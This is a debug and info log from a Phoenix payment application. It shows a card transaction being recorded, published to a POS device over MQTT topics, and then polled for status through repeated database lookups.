[Thu Sep  3 12:34:45.479000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40522] Publish payload 98250623730001: "{\"type\":\"card\",\"request_id\":\"ch263043307165\",\"amount\":15000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Thu Sep  3 12:34:45.562000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK db=82.2ms queue=0.6ms idle=427.2ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "150", "appKey" => "1234567897654", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch263043307165", "externalRefNumber2" => "6437898249", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "98250623730001"}, "txnType" => "card", "username" => "prasanna@dataaegis.com"}, "ch_7fe3abf8ac30@mercurypay.in", "98250623730001", "ch263043307165", 4, Decimal.new("150"), %{}, "1", ~N[2026-09-03 12:34:45], ~N[2026-09-03 12:34:45]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Thu Sep  3 12:34:45.563000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="users" db=0.6ms idle=510.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:45.564000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="custom_events" db=0.4ms idle=459.4ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:45.564000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch263043307165"
Payload: %{
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788438885,
  qos: 1,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:34:45.565000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788438885,
    qos: 1,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch263043307165",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:45.565159Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Thu Sep  3 12:34:45.565000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40522] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438885, qos: 1, device_id: "98250623730001", amount: 150}, event_name: "Request For Publish Txn", refrence_id: "ch263043307165", transaction_id: nil, date_added: ~U[2026-09-03 12:34:45.565159Z], event_id: 37, event_value: "request_for_publish_txn"}
[Thu Sep  3 12:34:45.631000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK db=65.4ms idle=406.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438885, qos: 1, device_id: "98250623730001", amount: 150}, "Request For Publish Txn", "ch263043307165", ~U[2026-09-03 12:34:45Z], 37, "request_for_publish_txn", ~N[2026-09-03 12:34:45], ~N[2026-09-03 12:34:45]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:45.631000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Successfully created custom event log with ID: 40218
[Thu Sep  3 12:34:45.631000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40522] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98250623730001/update with ref: #Reference<0.2525715032.1112801281.107389>
[Thu Sep  3 12:34:45.632000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40522] Published successfully to topic2: ota/pos/12345678/98250623730001/sub with ref: #Reference<0.2525715032.1112801281.107395>
[Thu Sep  3 12:34:45.633000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="users" db=1.0ms queue=0.2ms idle=378.4ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Thu Sep  3 12:34:45.636000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK source="custom_events" db=2.2ms idle=378.8ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Thu Sep  3 12:34:45.636000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch263043307165"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
  ts: 1788438885,
  device_id: "98250623730001",
  amount: 150
}

[Thu Sep  3 12:34:45.636000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub",
    ts: 1788438885,
    device_id: "98250623730001",
    amount: 150
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch263043307165",
  transaction_id: nil,
  date_added: ~U[2026-09-03 12:34:45.636685Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Thu Sep  3 12:34:45.636000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:40522] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438885, device_id: "98250623730001", amount: 150}, event_name: "Response From Publish Txn", refrence_id: "ch263043307165", transaction_id: nil, date_added: ~U[2026-09-03 12:34:45.636685Z], event_id: 38, event_value: "response_from_publish_txn"}
[Thu Sep  3 12:34:45.703000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40522] QUERY OK db=66.4ms idle=282.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98250623730001/update, ota/pos/12345678/98250623730001/sub", ts: 1788438885, device_id: "98250623730001", amount: 150}, "Response From Publish Txn", "ch263043307165", ~U[2026-09-03 12:34:45Z], 38, "response_from_publish_txn", ~N[2026-09-03 12:34:45], ~N[2026-09-03 12:34:45]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Thu Sep  3 12:34:45.704000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:40522] Successfully created custom event log with ID: 40219
[Thu Sep  3 12:34:45.704000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40522] Publish successful to 98250623730001 with ref: #Reference<0.2525715032.1112801281.107395>
[Thu Sep  3 12:34:45.704000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40522] Sent 200 in 452ms
[Thu Sep  3 12:34:52.071000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38548] POST /api/device/status
[Thu Sep  3 12:34:52.072000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38548] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:52.072000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38548] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:34:52.072000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38548] Transaction reference number: "ch263043307165"
[Thu Sep  3 12:34:52.086000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38548] QUERY OK source="pos_transaction" db=12.5ms queue=0.6ms idle=1018.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:34:52.087000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38548] QUERY OK source="pos_temp_transaction" db=0.6ms queue=0.1ms idle=1032.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:34:52.090000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38548] QUERY OK source="pos_failed_transaction" db=2.8ms idle=1033.5ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:34:52.091000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38548] QUERY OK source="cloud_transaction" db=0.5ms idle=1036.8ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:34:52.091000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38548] Sent 200 in 20ms
[Thu Sep  3 12:34:56.512000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38558] POST /api/device/status
[Thu Sep  3 12:34:56.512000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:38558] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:34:56.512000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38558] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:34:56.512000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:38558] Transaction reference number: "ch263043307165"
[Thu Sep  3 12:34:56.531000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38558] QUERY OK source="pos_transaction" db=18.4ms idle=1459.1ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:34:56.532000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38558] QUERY OK source="pos_temp_transaction" db=0.6ms idle=1477.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:34:56.536000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38558] QUERY OK source="pos_failed_transaction" db=3.2ms queue=0.1ms idle=1338.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:34:56.537000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:38558] QUERY OK source="cloud_transaction" db=0.4ms queue=0.4ms idle=482.5ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:34:56.537000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:38558] Sent 200 in 25ms
[Thu Sep  3 12:35:01.548000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40614] POST /api/device/status
[Thu Sep  3 12:35:01.549000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40614] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:35:01.549000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40614] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:35:01.550000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40614] Transaction reference number: "ch263043307165"
[Thu Sep  3 12:35:01.565000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40614] QUERY OK source="pos_transaction" db=12.3ms queue=2.3ms idle=1497.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Thu Sep  3 12:35:01.566000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40614] QUERY OK source="pos_temp_transaction" db=0.7ms idle=1512.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Thu Sep  3 12:35:01.570000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40614] QUERY OK source="pos_failed_transaction" db=3.1ms idle=1513.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Thu Sep  3 12:35:01.571000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:40614] QUERY OK source="cloud_transaction" db=0.6ms idle=1517.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch263043307165"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Thu Sep  3 12:35:01.572000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40614] Sent 200 in 23ms
[Thu Sep  3 12:35:06.569000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:40628] POST /api/device/status
[Thu Sep  3 12:35:06.570000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:40628] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Thu Sep  3 12:35:06.570000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40628] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch263043307165", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Thu Sep  3 12:35:06.570000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:40628] Transaction reference number: "ch263043307165"
